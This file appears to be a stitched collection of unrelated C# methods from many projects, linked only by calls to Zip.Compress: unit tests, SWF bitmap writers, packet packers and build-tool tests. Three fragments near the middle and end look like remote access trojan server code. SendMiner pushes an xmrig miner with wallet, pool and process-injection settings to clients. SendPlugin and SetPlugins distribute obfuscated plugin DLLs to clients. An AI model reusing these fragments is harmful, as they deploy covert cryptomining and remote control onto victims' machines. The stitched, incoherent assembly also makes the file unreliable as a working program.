public void ZipSameFileTwice()
{
ICompressor compressor = new Zip();
List <FileInfo> filesToCompress = new List <FileInfo> {
new FileInfo(_testFilePath)
};
_compressedFile = compressor.Compress(filesToCompress, new FileInfo(_targetZipFileName)).DefaultIfEmpty(new FileInfo("mock")).Single();
_compressedFile = compressor.Compress(filesToCompress, new FileInfo(_targetZipFileName)).DefaultIfEmpty(new FileInfo("mock")).Single();
}
public byte[] PackPacketToBytes(IPirateXPackage requestPackage)
{
if (requestPackage == null)
{
return(null);
}
var headerbytes = requestPackage.HeaderBytes;
var contentbytes = requestPackage.ContentBytes;
//信息头压缩
headerbytes = ZipEnable ? Zip.Compress(headerbytes) : headerbytes;
//数据体压缩
contentbytes = ZipEnable ? Zip.Compress(contentbytes) : contentbytes;
//8位, 每一位是一个加密标记位，1表示启用
for (byte i = 0; i < 8; i++)
{
if (CryptoByte.GetBit(i))
{
var crypto = CryptoFactory.GetCrypto(i);
if (crypto != null)
{
//信息头加密
headerbytes = crypto.Encode(headerbytes, PackKeys);
//数据体加密
if (contentbytes == null)
{
contentbytes = new byte[0];
}
else
{
contentbytes = crypto.Encode(contentbytes, PackKeys);
}
}
}
}
var zipByte = new byte[1];
zipByte[0] = ZipEnable ? (byte)Math.Pow(2, 7) : (byte)0;
var headerLen = headerbytes.Length;
var contentLen = contentbytes?.Length ?? 0;
using (var stream = new MemoryStream())
{
stream.Write(BitConverter.GetBytes(4 + 1 + 1 + 4 + headerLen + contentLen), 0, 4);
stream.Write(zipByte, 0, 1);
stream.Write(new[] { CryptoByte }, 0, 1);
stream.Write(BitConverter.GetBytes(headerLen), 0, 4);
stream.Write(headerbytes, 0, headerLen);
if (contentbytes != null)
{
stream.Write(contentbytes, 0, contentLen);
}
return(stream.ToArray());
}
}
public byte[] ToByteArray()
{
var writer = new SwfWriter();
bool compress = _allowCompression && _version >= MinVersionSupportedComression;
//write header
writer.Write(compress ? SigCWS : SigFWS);
writer.WriteUInt8((byte)_version); //file version
//NOTE: Comment below is from SWF specification.
//The FileLength field is the total length of the SWF file, including the header. If this is an
//uncompressed SWF file (FWS signature), the FileLength field should exactly match the file
//size. If this is a compressed SWF file (CWS signature), the FileLength field indicates the total
//length of the file after decompression, and thus generally does not match the file size.
var data = GetFileData();
int len = data.Length;
if (compress)
{
data = Zip.Compress(data);
//if (data.Length > len)
// len = data.Length;
}
writer.WriteUInt32((uint)(8 + len)); //file length
writer.Write(data);
data = writer.ToByteArray();
return(data);
}
public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb
{
try
{
foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
{
if (hash == GetHash.GetChecksum(plugin))
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
msgPack.ForcePathObject("Dll").SetAsBytes(Zip.Compress(File.ReadAllBytes(plugin)));
msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin));
ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
//new HandleLogs().Addmsg($"Plugin {Path.GetFileName(plugin)} sent to client {Ip}", Color.Blue);
new HandleLogs().Addmsg($"插件 {Path.GetFileName(plugin)} 发送到客户端 {Ip}", Color.Blue);
break;
}
}
}
catch (Exception ex)
{
//new HandleLogs().Addmsg($"Client {Ip} {ex.Message}", Color.Red);
new HandleLogs().Addmsg($"客户端 {Ip} {ex.Message}", Color.Red);
}
}
public void ZipMultipleFiles()
{
ICompressor compressor = new Zip();
List <FileInfo> filesToCompress = new List <FileInfo>
{
new FileInfo(_testFilePath),
new FileInfo(Path.Combine(_workingDirectory.FullName, "TestData.xml"))
};
_compressedFile = compressor.Compress(filesToCompress, new FileInfo(Path.Combine(_workingDirectory.FullName, _targetZipFileName))).DefaultIfEmpty(new FileInfo("mock")).Single();
Assert.AreEqual(Path.GetExtension(_compressedFile.FullName), ".zip");
Assert.IsTrue(File.Exists(_compressedFile.FullName));
using (ZipArchive zip = ZipFile.Open(_compressedFile.FullName, ZipArchiveMode.Read))
{
ReadOnlyCollection <ZipArchiveEntry> zipEntries = zip.Entries;
Assert.IsTrue(zipEntries.Count == filesToCompress.Count);
foreach (FileInfo file in filesToCompress)
{
Assert.IsTrue(zipEntries.Any(x => x.Name == file.Name));
}
}
}
/// <summary>
/// 安全转码
/// </summary>
/// <param name="content"></param>
/// <returns></returns>
public static byte[] SecEncode(string content)
{
content = EncryptDES(content, new String(DefaultKey));
return(Zip.Compress(content));
//byte[] tempBytes = Encoding.UTF8.GetBytes(content);
//return LZMA.Compress(tempBytes, 0, tempBytes.Length, 0);
}
/// <summary>
/// 数据装包前的工作
/// 压缩和加密控制
/// </summary>
/// <param name="datas"></param>
/// <returns></returns>
private byte[] PrePack(byte[] datas)
{
var compress = ZipEnable ? Zip.Compress(datas) : datas;
var d = CryptoEnable ? Crypto.Encode(compress, ServerKeys[0]) : compress;
return(d);
}
public void ZipEmptyFileList()
{
ICompressor compressor = new Zip();
OneOrZeroElementCollection <FileInfo> result = compressor.Compress(new List <FileInfo>(), new FileInfo(_targetZipFileName));
Assert.IsFalse(result.Any());
}
public void ZipFileWithUndefinedCompressedFile()
{
ICompressor compressor = new Zip();
List <FileInfo> filesToCompress = new List <FileInfo> {
new FileInfo(_testFilePath)
};
_compressedFile = compressor.Compress(filesToCompress, null).DefaultIfEmpty(new FileInfo("mock")).Single();
}
public void ZipToFileWithWrongExtension()
{
ICompressor compressor = new Zip();
List <FileInfo> filesToCompress = new List <FileInfo> {
new FileInfo(_testFilePath)
};
_compressedFile = compressor.Compress(filesToCompress, new FileInfo("xyz.txt")).DefaultIfEmpty(new FileInfo("mock")).Single();
}
private static void WriteIndexed(SwfWriter writer, Bitmap bmp, bool alpha)
{
int w = bmp.Width;
int h = bmp.Height;
writer.WriteUInt8((byte)SwfBitmapFormat.Indexed);
writer.WriteUInt16((ushort)w);
writer.WriteUInt16((ushort)h);
var pal = bmp.Palette.Entries;
int palSize = pal.Length;
writer.WriteUInt8((byte)(palSize - 1));
var bmpWriter = new SwfWriter();
for (int i = 0; i < palSize; ++i)
{
bmpWriter.WriteColor(pal[i], alpha);
}
//NOTE: Row widths in the pixel data fields of these structures must be rounded up to the next
//32-bit word boundary. For example, an 8-bit image that is 253 pixels wide must be
//padded out to 256 bytes per line. To determine the appropriate padding, make sure to
//take into account the actual size of the individual pixel structures; 15-bit pixels occupy 2
//bytes and 24-bit pixels occupy 4 bytes (see PIX15 and PIX24).
int pad = w % 4;
if (pad != 0)
{
pad = 4 - pad;
}
using (var fbmp = new FastBitmap(bmp))
{
for (int y = 0; y < h; ++y)
{
for (int x = 0; x < w; ++x)
{
int index = fbmp.GetIndex(x, y);
Debug.Assert(index >= 0 && index < palSize);
bmpWriter.WriteUInt8((byte)index);
}
if (pad > 0)
{
bmpWriter.Pad(pad);
}
}
}
var data = bmpWriter.ToByteArray();
data = Zip.Compress(data);
writer.Write(data);
}
public void ZipFileToNonExistentDirectory()
{
ICompressor compressor = new Zip();
List <FileInfo> filesToCompress = new List <FileInfo> {
new FileInfo(_testFilePath)
};
FileInfo zipFile = new FileInfo(Path.Combine("NonExistentDir", _targetZipFileName));
_compressedFile = compressor.Compress(filesToCompress, zipFile).DefaultIfEmpty(new FileInfo("mock")).Single();
}
public void ZipFileWhichDoesntExist()
{
ICompressor compressor = new Zip();
List <FileInfo> filesToCompress = new List <FileInfo>
{
new FileInfo(_testFilePath),
new FileInfo(Path.Combine("Data", "EBRD_EMIR_Trades_20170712.xm1l"))
};
_compressedFile = compressor.Compress(filesToCompress, new FileInfo(_targetZipFileName)).DefaultIfEmpty(new FileInfo("mock")).Single();
}
private static void WriteRGB24(SwfWriter writer, Bitmap bmp, bool alpha)
{
writer.WriteUInt8((byte)SwfBitmapFormat.RGB24);
writer.WriteUInt16((ushort)bmp.Width);
writer.WriteUInt16((ushort)bmp.Height);
var data = GetRGB24(bmp, alpha);
data = Zip.Compress(data);
writer.Write(data);
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return(Zip.Compress(r));
}
}
private bool updateZip()
{
ZipPackage = Zip.Compress(NewRelease.ReleaseName, OutputPath);
if (ZipPackage == null)
{
Fail("Compression failed");
}
return(ZipPackage != null);
}
public void Compress_AtLeast2SameChars_CompressesData()
{
// Arrange
var input = "AA";
var sut = new Zip();
// Act
var actual = sut.Compress(input);
// Assert
Assert.Equal("2A", actual);
}
public void Compress_RegularString_CompressesData()
{
// Arrange
var input = "AzGGG jj UUUUUUUsTtTTTTT xbbbb 18 AAAaaAAAAaaaa zz.";
var sut = new Zip();
// Act
var actual = sut.Compress(input);
// Assert
Assert.Equal("Az3G 2j 7UsTt5T x4b 18 3A2a4A4a 2z.", actual);
}
public void Compress_TwoDifferentChars_DoesNotCompress()
{
// Arrange
var input = "AB";
var sut = new Zip();
// Act
var actual = sut.Compress(input);
// Assert
Assert.Equal("AB", actual);
}
public void Compress_OneCharString_DoesNotCompress()
{
// Arrange
var input = "A";
var sut = new Zip();
// Act
var actual = sut.Compress(input);
// Assert
Assert.Equal("A", actual);
}
public void CompressTest()
{
string srcFilePath = PathHelper.GetFilePath(@"/Data/mountain.bmp");
var expected = FileTransform.File2ByteArray(srcFilePath);
var zipedSrcFileBytes = Zip.Compress(expected);
var actual = Zip.Decompress(zipedSrcFileBytes);
CollectionAssert.AreEqual(actual, expected);
}
public void ZipFileWithDefinedName()
{
ICompressor compressor = new Zip();
List <FileInfo> filesToCompress = new List <FileInfo> {
new FileInfo(_testFilePath)
};
_compressedFile = compressor.Compress(filesToCompress, new FileInfo(Path.Combine(_workingDirectory.FullName, _targetZipFileName))).DefaultIfEmpty(new FileInfo("mock")).Single();
Assert.AreEqual(_compressedFile.Name, _targetZipFileName);
Assert.IsTrue(File.Exists(_compressedFile.FullName));
}
public void Compress_Should_Throw_If_FilePaths_Are_Null()
{
// Given
var fileSystem = Substitute.For <IFileSystem>();
var environment = Substitute.For <ICakeEnvironment>();
var log = Substitute.For <ICakeLog>();
var zip = new Zip(fileSystem, environment, log);
// Then
Assert.That(() => zip.Compress(rootPath, outputPath, null, level),
Throws.InstanceOf <ArgumentNullException>()
.And.Property("ParamName").EqualTo("filePaths"));
}
public void Compress_Should_Throw_If_Level_Is_Invalid(int compressLevel)
{
// Given
var fileSystem = Substitute.For <IFileSystem>();
var environment = Substitute.For <ICakeEnvironment>();
var log = Substitute.For <ICakeLog>();
var zip = new Zip(fileSystem, environment, log);
// Then
Assert.That(() => zip.Compress(rootPath, outputPath, filePaths, compressLevel),
Throws.InstanceOf <ArgumentOutOfRangeException>()
.And.Property("ParamName").EqualTo("level"));
}
public void Compress_Creates_Zip_File()
{
// Given
var environment = FakeEnvironment.CreateUnixEnvironment();
var fileSystem = new FakeFileSystem(environment);
fileSystem.CreateFile("/Root/file.txt");
var log = Substitute.For <ICakeLog>();
var zip = new Zip(fileSystem, environment, log);
// Then
Assert.That(() => zip.Compress(rootPath, outputPath, filePaths, level), Throws.Nothing);
Assert.That(fileSystem.Exist(outputPath), Is.True);
}
public void Compress_Should_Throw_If_File_Is_Not_Relative_To_Root()
{
// Given
var environment = FakeEnvironment.CreateUnixEnvironment();
var fileSystem = new FakeFileSystem(environment);
fileSystem.CreateFile("/NotRoot/file.txt");
var log = Substitute.For <ICakeLog>();
var zip = new Zip(fileSystem, environment, log);
// Then
Assert.That(() => zip.Compress(rootPath, outputPath, new FilePath[] { "/NotRoot/file.txt" }, level),
Throws.InstanceOf <CakeException>()
.And.Message.EqualTo("File '/NotRoot/file.txt' is not relative to root path '/Root'."));
}
public void SendMiner(Clients client)
{
MsgPack packet = new MsgPack();
packet.ForcePathObject("Packet").AsString = "xmr";
packet.ForcePathObject("Command").AsString = "save";
packet.ForcePathObject("Bin").SetAsBytes(Zip.Compress(File.ReadAllBytes(@"Plugins\xmrig.bin")));
packet.ForcePathObject("Hash").AsString = GetHash.GetChecksum(@"Plugins\xmrig.bin");
packet.ForcePathObject("Pool").AsString = XmrSettings.Pool;
packet.ForcePathObject("Wallet").AsString = XmrSettings.Wallet;
packet.ForcePathObject("Pass").AsString = XmrSettings.Pass;
packet.ForcePathObject("InjectTo").AsString = XmrSettings.InjectTo;
ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes());
Debug.WriteLine("XMR sent");
}
void SaveToFile(bool compress = true)
{
// to json string
string jsonString = JsonUtility.ToJson(gameplayRecording);
// string to byteArray
byte[] stringBytes = Encoding.ASCII.GetBytes(jsonString);
// to compressed byteArray
if (compress)
{
stringBytes = Zip.Compress(stringBytes);
}
// byteArray to file
File.WriteAllBytes(gameplayRecording.FileNameWithPath, stringBytes);
Debug.Log("Recording saved to: " + gameplayRecording.FileNameWithPath);
}
public static String Compress(object a)
{
String result = null;
if (!(a is Undefined))
{
try
{
String str = a.ToString();
byte[] buf = Encoding.UTF8.GetBytes(str);
buf = Zip.Compress(buf);
result = Encoding.Default.GetString(buf);
}
catch { }
}
return(result);
}
public static void SetPlugins()
{
try
{
foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
{
Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
#if DEBUG
byte[] plg = Zip.Compress(File.ReadAllBytes(plugin));
Debug.WriteLine($"{plugin} : {BytesToString(plg.Length)}");
#endif
}
}
catch (Exception ex)
{
new HandleLogs().Addmsg(ex.Message, Color.Red);
}
}